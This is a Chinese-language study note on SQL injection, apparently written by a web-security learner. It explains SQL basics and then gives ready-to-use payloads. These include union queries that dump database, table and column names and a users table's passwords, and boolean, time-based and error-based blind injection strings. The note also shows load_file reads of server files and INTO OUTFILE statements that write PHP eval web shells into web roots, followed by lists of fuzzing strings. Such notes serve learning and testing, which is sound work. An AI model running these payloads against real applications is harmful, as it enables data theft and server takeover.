sql注入笔记

​ 被迫转web了,总结一下sql注入吧,笔记源于@**Biscuit19_**;

0x01 sql基础

一、插入更新删除

1
2
3
4
5
6
7
CREATE TABLE table_name (column_name column_type);

insert into tb_name (column1,column2,column3,...) values (value1,value2,value3,...);

update tb_name set 字段1 = 新值,字段2 = 新值, where 字段 = 某值;

delete from tb_name where 列名称 = 某值;

二、常用到的通用字段

information_schema是整个数据库

information_schema里的表:

  • information_schema.schemata为所有数据库信息,包含:
    • 其中的字段:
    • schema_name: 所有数据库名
  • information_schema.tables为所有表的信息,包含:
    • 其中的字段:
    • table_schema: 表所在的数据库名
    • table_rows表的行数(有多少条数据)
    • table_name 记录数据表名
  • information_schema.columns为所有字段的信息,包含:
    • 其中的字段:
    • column_name字段名
    • table_name 字段所在的表名(用于条件查询)
    • table_schema 字段所在数据库名(用于条件查询)
    • column_type 字段类型

三、常用语法:

1.基础

在最基础的查询语句中,我们直接使用如下语法进行查询,并使用where作为条件限制:

1
select field1,field2,...fieldn... from 表名 [where 条件];

2.Order by

order by 字段名(列名

进一步的,我们为了更好的排序输出结果,可以用orderby来控制结果的排序(asc为顺序,desc为逆序):

select * from 表名 [where 条件] [ order by field1 [desc/asc],field2 [desc/asc]… ];

举个例子:

​ 以逆字母顺序显示公司名称,并以数字顺序显示顺序号:

1
SELECT Company, OrderNumber FROM Orders ORDER BY Company DESC, OrderNumber ASC
order by 数字

含义:order by+列名 就是按某一列的排序进行查找,默认升序, 加数字就是第几列的意思,如下

sql语句中order by 1或者order by 2…order by N

其实1表示第一个字段,2表示第二个字段;

依此类推,当表中只有2个栏位时,order by 3就会出错, 所以就说明列表只有2个字段, 是用来报字段名的

3.limit

**!!!从0开始!!! **

1
SELECT * FROM table LIMIT [offset,] rows | rows OFFSET offset

第一个参数指定从第几行开始查,第二个参数指定要查几行。初始记录行的偏移量是 0(而不是 1)

举个例子:

1
2
3
4
SELECT \* FROM table1 LIMIT 5,10; # 检索记录行 6-15\*
SELECT \* FROM table1 LIMIT 5; #检索前 5 个记录行\*0-4
SELECT * FROM table1 limit n-1,1; #查询第n行
SELECT \* FROM table1 LIMIT 95,-1; #检索记录行 96-last.\*

4.UNION(联合查询)

  • UNION必须由两条或两条以上的SELECT语句组成,语句之间用关键字UNION分隔
  • UNION中的每个查询必须包含相同的列,然后会将这两个结果通过这个相同的列链接起来。
  • UNION会从查询结果集中自动去除了重复行,UNION ALL不会。

5.concat_ws()函数

简单的说,就是一个字符串连接函数:

  1. 功能:和concat()一样,将多个字符串连接成一个字符串,但是可以一次性指定分隔符;(concat_ws就是concat with separator)

  2. 语法:concat_ws(separator, str1, str2, …)

举个例子

SELECT CONCAT_WS(‘,’,’First name’,NULL,’Last Name’);返回结果为
+———————————————-+
| CONCAT_WS(‘,’,’First name’,NULL,’Last Name’) |
+———————————————-+
| First name,Last Name |#可以看到通过逗号分隔了
+———————————————-+e

**concat()**和它一样,只不过是少了分隔符,就是单纯的多个字符串连接成一个字符串

6.group_concat(+concat_ws)

  1. 功能:把查询到的很多行合成一行来写

  2. 语法:group_concat( [distinct] str1,str2… [order by 排序字段 asc/desc ] [separator ‘分隔符’] ):

默认就是以 ,为分隔符

1
2
3
4
5
6
7
SELECT (GROUP_CONCAT(mk_username,mk_password)) FROM demouser.mk_users 
得到:
test5111111,test6111111,test7111111

SELECT (GROUP_CONCAT(concat_ws(',',mk_username,mk_password))) FROM demouser.mk_users
得到:
test5,111111,test6,111111,11111,1111111111,test7,1111111

0x02 常用语句

一、爆数据库信息常用语句

1.用户数据库版本,管理员用户名及数据库名字

1
id=-1 union select version(),user(),5,database()

2.爆所有数据库名:

1
select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA

3.爆某数据库中的所有表名:

1
select  1,group_concat(table_name) from information_schema.tables where table_schema='数据库名'

注意:数据库名称可以用十六进制来代替字符串,这样可以绕过单引号的限制。
类似TABLE_SCHEMA=0x674657374

4.爆某数据库中某表的所有字段名:

select group_concat(COLUMN_NAME) from information_schema.COLUMNS where
TABLE_SCHEMA=’数据库名’and TABLE_NAME=’表名’

5.爆某表中的所有信息,用逗号分隔

select GROUP_CONCAT(concat_ws(‘,’,st1,st2…)) FROM 数据库名.表名

0x03 常见注入类型

一、字符型注入,判断引号闭合:

‘ or ‘1’=’1

“ or “1”=”1

原理:

select * from mk_users where mk_username=’Biscuit19_’ and mk_password=’’ or ‘1’=’1’

二、注释型注入

‘or 1=1 #

select * from mk_users where mk_username=’Biscuit19_’ and mk_password=’’ or 1=1 #’

Biscuit19_’ or 1=1 #

select * from mk_users where mk_username=’Biscuit19_’ or 1=1 #’ and mk_password=’123334’

没有显示位

三、union注入

{“userName”:”Biscuit19_”,”userType”:”USER”,”filePath”:””}

{“userName”:”Biscuit19_’ union select 1,2,3,4 #”,”userType”:”USER”,”filePath”:””}

用来合并两个或多个 SELECT 语句的结果集

select dir_name as FileName,dir_type as FileType,update_time as
RecentEditTime,creator_name as Creater from file_dir where creator_name=’Biscuit19_’ union select 1,2,3,4 #’

多了一个元组

{“userName”:”Biscuit19_’ union select database(),user(),version(),4 #”,”userType”:”USER”,”filePath”:””}

{“userName”:”Biscuit19_’ union select (select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA),user(),version(),4 #”,”userType”:”USER”,”filePath”:””}

{“userName”:”Biscuit19_’ union select (select group_concat(table_name) from information_schema.tables where table_schema=’数据库名’),user(),version(),4 #”,”userType”:”USER”,”filePath”:””}

{“userName”:”Biscuit19_’ union select (select group_concat(table_name) from information_schema.tables where table_schema=’demouser’),user(),version(),4 #”,”userType”:”USER”,”filePath”:””}

{“userName”:”Biscuit19_’ union select (select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_SCHEMA=’demouser’and TABLE_NAME=’mk_users’),user(),version(),4 #”,”userType”:”USER”,”filePath”:””}

{“userName”:”Biscuit19_’ union select (select GROUP_CONCAT(concat_ws(‘,’,mk_id,mk_username,mk_password,mk_email,mk_enabled,create_time,update_time)) FROM demouser.mk_users),user(),version(),4 #”,”userType”:”USER”,”filePath”:””}

四、布尔盲注

页面在执行sql语句后,只会显示两种结果,这时可通过构造逻辑表达式的sql语句来判断数据的具体内容。

注意:布尔盲注是逻辑运算而不是输出值,所以and后面接的是逻辑表达式;还有,必须select出来结果才能比较

1=1 是没有结果的

SELECT 1=1 才有结果,结果是1(true),这里指的是函数()需要select 出来比较,而不是说1=1就没有结果,1=1的结果就是true,这句话的意思就是这种函数得到的值要select出来才可以

(select length(database())=3)

1.所用函数

length()

函数可返回字符串的长度,用于碰撞出数据库名字的长度。

1
select length(database());
substring()

substring()函数可以截取字符串,可指定开始的位置和截取的长度,用于进一步剪切。

1
2
select substring('test',1,3);
select substring('test',2,1);

substring的第一位是1,不是0,所以至少从1开始

ord()

ord()函数可以返回单个字符的ASCII码

1
2
select substring(database(),1,1);
select ord(substring(database(),1,1));

因此,通过(select ord(substring(database(),1,1))=31)这样的语句反复碰撞,就能得到数据库名!

即只需要和这些字符的ASCII值进行比较:

0-9:48-57 _:95
A-Z:65-91 a-z:97-122

全查:33-126

2 手工注入

判断注入点

因为sql执行失败和未查到数据都会返回False,所以只能通过返回的逻辑值来判断,如果有类似如下这种情况,则存在布尔盲注

也可以通过sleep(3)来试试,看看会不会停止3s,如果停止了,说明后面的语句也执行了

1
2
3
4
5
6
7
8
9
/* 整型注入 */
sql-bool.php?name=user1 and 1=1 true
sql-bool.php?name=user1 and 1=2 flase
/* 字符型注入 */
sql-bool.php?name=user1' and '1'='1
sql-bool.php?name=user1' and '1'='2
/* 字符型注入 */
sql-bool.php?name=user1" and "1"="1
sql-bool.php?name=user1" and "1"="2

注意!当你连一个正确的参数都没有的时候,你要直接闭合然后把and改成or来判断,此时前一个条件为false,用or后面来决定对错,where username=’’ or 1=1 /1=2 如:

1
2
user_name=' or 1=1 # 
user_name=' or '1'='1

五、时间盲注

基本上和布尔盲注是一样的。

{“username”:”Biscuit19_’ and if(1=1,sleep(3),1) #”,”password”:” “}

select * from mk_users where mk_username=’Biscuit19_’ and if(1=1,sleep(1),1) #’ and mk_password=’ ‘

六、报错注入

ExtractValue()报错注入

extractvalue():从目标XML中返回包含所查询值的字符串。
  EXTRACTVALUE (XML_document, XPath_string);
  第一个参数:XML_document是String格式,为XML文档对象的名称
  第二个参数:XPath_string (Xpath格式的字符串)

需要注意,extractvalue()能查询字符串的最大长度为32,

报错原理

例如

SELECT ExtractValue('<a><b><b/></a>', '/a/b'); 就是寻找前一段xml文档内容中的a节点下的b节点,这里如果Xpath格式语法书写错误的话,就会报错。

​ 也就是说,我们在第二个参数里输出的错误信息会原封不动的报错报出来,所以我们就通过这个来执行注入(当显示位)。

约束条件
输出字符长度限制为32个字符,可以用MID函数等操作

注入语句
and extractvalue(null,concat(0x7e,(代码操作),0x7e))

(这里的0x7e是 ~ 波浪号,只是为了好看)

举例
select * from users where id and extractvalue(null,concat(0x7e,(select version()),0x7e));

MID函数

MID()函数用于从文本字段中提取字符。 SELECT MID(column_name,start[,length]) FROM table_name;

1
mid((select flag from flag),1,16)//从1开始截16个,即1-16

updatexml()报错注入

updatexml()函数与extractvalue()同理,第二个参数会被原封不动输出。

语法updatexml(目标xml文档,xml路径,更新的内容)

注入:

and (updatexml(‘1’,concat(0x7e,(代码操作),0x7e),’1’))

七、读写文件

load_file()

1.使用条件
  1. 有读取文件的权限 r

and (select count(*) from mysql.user)>0
如果返回正常则说明有权限,反之没有

  1. 文件大小不能超过max_allowed_packet

  2. secure_file_priv的值不为NULL

使用

必须指定完整路径的文件,而且必须有FILE权限

1
2
3
select LOAD_FILE('D:/1.txt') 
select LOAD_FILE('/var/www/html/ma.php')
select LOAD_FILE('/flag')

输出文件内容,括号里必须是绝对路径

同样的,它也可以使用substring:

1
SELECT SUBSTRING(LOAD_FILE('D:/1.txt'),5,1)

outfile()

写文件的,就是把select出来的所有东西都写进这个路径的文件中

1.当对于单引号过滤的时候,就完犊子了,因为绝对路径必须有单引号,十六进制和ASCII都不行

2.outfile经典一句话
select '<?php eval($_POST[cmd])?>' into outfile 'd:/muma.php'

注意路径符号:错误“\” 正确”\“ 正确”/“。如果将路径转换为16进制就可以不用引号。

3.必须要有可写的权限。w

4.如果单引号过滤,能找到phpmyadmin也行

5.linux真的是权限不行,必须给相关的目录包括父目录用户o开启W权限

1
2
3
SELECT ('<?php  @eval($_POST["hack"])?>') into outfile"/var/www/html/ma.php"

SELECT ('<?php @eval($_REQUEST["hack"])?>') into outfile "D:/1.txt"

如何去判断SQL注入漏洞

  • and 1=1 / and 1=2 回显页面不同(整形判断)
  • 单引号判断 ‘ 显示数据库错误信息或者页面回显不同(整形,字符串类型判断)
  • \ (转义符)
  • -1/+1 回显下一个或上一个页面(整型判断)
  • and sleep(5) (判断页面返回时间)

0x04 注入检测

一、常见的注入点

  • GET/POST/PUT/DELETE参数
  • X-Forwarded-For
  • 文件名

二、Fuzz注入点

  • ' / "
  • 1/1
  • 1/0
  • and 1=1
  • " and "1"="1
  • and 1=2
  • or 1=1
  • or 1=
  • ' and '1'='1
  • + - ^ * % /
  • << >> || | & &&
  • ~
  • !
  • @
  • 反引号执行

三、测试用常量

  • @@version
  • @@servername
  • @@language
  • @@spid

四、注释符

  • #
  • --+
  • /*xxx*/
  • /*!xxx*/
  • /*!50000xxx*/

五、 判断过滤规则

  • 是否有trunc
  • 是否过滤某个字符
  • 是否过滤关键字
  • slash和编码